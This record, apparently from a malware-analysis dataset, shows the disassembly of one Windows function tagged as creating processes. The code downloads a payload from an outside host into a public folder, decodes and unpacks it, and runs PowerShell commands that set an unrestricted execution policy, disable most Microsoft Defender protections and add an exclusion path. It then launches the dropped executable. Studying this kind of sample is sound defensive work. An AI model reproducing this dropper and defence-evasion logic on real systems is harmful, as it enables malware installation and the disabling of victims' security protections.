Function at 0x407710
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x1a8
push ebx
push esi
push edi
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
xor ebx, ebx
push 2
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov ecx, 0xb
xor eax, eax
mov esi, dword [esp + 0x1b8]
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.USER32.dll_LoadIconA]
push 0x44b708
push esi
mov dword [0x453008], esi
mov dword [esp + 0x3c], 0x30
mov dword [esp + 0x40], 3
mov dword [esp + 0x44], 0x4032e0
mov dword [esp + 0x50], esi
mov dword [esp + 0x4c], 0x1e
call edi
push 0x44b708
push esi
mov dword [esp + 0x54], eax
call edi
push 0x7f00
push ebx
mov dword [esp + 0x68], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x54], 0x10
mov dword [esp + 0x5c], 0x44b6f8
mov dword [esp + 0x50], eax
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ax, ax
jne 0x4077be
call edi
push ebx
push 0x4032e0
push ebx
push str.MAIN
push esi
call dword [sym.imp.USER32.dll_CreateDialogParamA]
cmp eax, ebx
mov dword [0x453020], eax
jne 0x4077ed
call edi
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x1a8
ret 0x10
push ebp
push ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [0x453020]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
push str.ACCELERATORS
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
lea edx, [esp + 0xb4]
push 0x104
push edx
push ebx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0xb4]
push str.ZH_CN
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
mov ebp, dword [sym.imp.SHELL32.dll_ShellExecuteA]
add esp, 8
test eax, eax
je 0x4078d7
mov edi, str.angclassic_zh_cn
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.tg:__setlanguage_l
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov edi, str.tg:__setlanguage_l
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, str.angclassic_zh_cn
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x453568
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push edx
and ecx, 3
push str.open
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
xor ebx, ebx
lea ecx, [esp + 0x84]
call fcn.00407b80
mov cl, byte [esp + 0x13]
mov edi, str.C:UsersPublicDownloadsqq.dat
mov byte [esp + 0x24], cl
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x28], ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov ebx, ecx
push 1
push ebx
lea ecx, [esp + 0x2c]
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x40793e
mov edi, dword [esp + 0x28]
mov ecx, ebx
mov edx, ecx
mov esi, str.C:UsersPublicDownloadsqq.dat
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x28]
mov dword [esp + 0x2c], ebx
mov byte [ebx + eax], 0
mov cl, byte [esp + 0x13]
xor eax, eax
mov byte [esp + 0x14], cl
mov edi, str.http:__download.linuxroot.site_download_6318.dat
or ecx, 0xffffffff
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x1c], eax
mov ebx, ecx
lea ecx, [esp + 0x18]
push ebx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x407999
mov edi, dword [esp + 0x18]
mov ecx, ebx
mov edx, ecx
mov esi, str.http:__download.linuxroot.site_download_6318.dat
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x18]
mov dword [esp + 0x1c], ebx
mov byte [eax + ebx], 0
lea ecx, [esp + 0x24]
lea edx, [esp + 0x14]
push ecx
push edx
lea ecx, [esp + 0x8c]
call fcn.00407f70
xor esi, esi
mov eax, dword [esp + 0x18]
cmp eax, esi
je 0x4079d6
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x4079cd
cmp al, 0xff
je 0x4079cd
dec al
mov byte [ecx], al
jmp 0x4079d6
push ecx
call fcn.0040e2ac
add esp, 4
mov eax, dword [esp + 0x28]
mov dword [esp + 0x18], esi
cmp eax, esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
je 0x407a07
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x4079fe
cmp al, 0xff
je 0x4079fe
dec al
mov byte [ecx], al
jmp 0x407a07
push ecx
call fcn.0040e2ac
add esp, 4
lea ecx, [esp + 0x84]
call fcn.00407c80
push str.C:UsersPublicDownloads_ff.dat
push str.C:UsersPublicDownloadsqq.dat
push str.d09dfhj6u4d54jj542
call fcn.00407680
push str.C:UsersPublicDownloads_ff.dat
push str.C:UsersPublic
call fcn.004074d0
add esp, 0x14
push esi
push esi
push str.Set_ExecutionPolicy_Unrestricted
push str.powershell.exe
push str.open
push esi
call ebp
push esi
push esi
push str.Set_MpPreference__DisableRealtimeMonitoring__true
push str.powershell.exe
push str.open
push esi
call ebp
push esi
push esi
push str.Set_MpPreference__DisableBehaviorMonitoring___true
push str.powershell.exe
push str.open
push esi
call ebp
push esi
push esi
push str.Set_MpPreference__DisableBlockAtFirstSeen___true
push str.powershell.exe
push str.open
push esi
call ebp
push esi
push esi
push str.Set_MpPreference__DisableIOAVProtection___true
push str.powershell.exe
push str.open
push esi
call ebp
push esi
push esi
push str.Set_MpPreference__DisablePrivacyMode___true
push str.powershell.exe
push str.open
push esi
call ebp
push esi
push esi
push str.Set_MpPreference__MAPSReporting_0
push str.powershell.exe
push str.open
push esi
call ebp
push esi
push esi
push str.Add_MpPreference__ExclusionPath_C:UsersPublicVAxplorer__Force
push str.powershell.exe
push str.open
push esi
call ebp
push 5
push esi
push 0x453568
push str.C:UsersPublicVAxplorerVAxplorer.exe
push str.open
push esi
call ebp
push esi
push esi
lea eax, [esp + 0x70]
push esi
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push eax
call esi
test eax, eax
je 0x407b5f
mov edi, dword [sym.imp.USER32.dll_TranslateAcceleratorA]
mov ebp, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
mov edx, dword [esp + 0x34]
mov eax, dword [0x453020]
lea ecx, [esp + 0x68]
push ecx
push edx
push eax
call edi
test eax, eax
jne 0x407b4e
mov edx, dword [0x453020]
lea ecx, [esp + 0x68]
push ecx
push edx
call dword [sym.imp.USER32.dll_IsDialogMessageA]
test eax, eax
jne 0x407b4e
lea eax, [esp + 0x68]
push eax
call ebp
lea ecx, [esp + 0x68]
push ecx
call ebx
push 0
push 0
lea edx, [esp + 0x70]
push 0
push edx
call esi
test eax, eax
jne 0x407b14
lea ecx, [esp + 0x84]
call fcn.00407be0
pop ebp
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x1a8
ret 0x10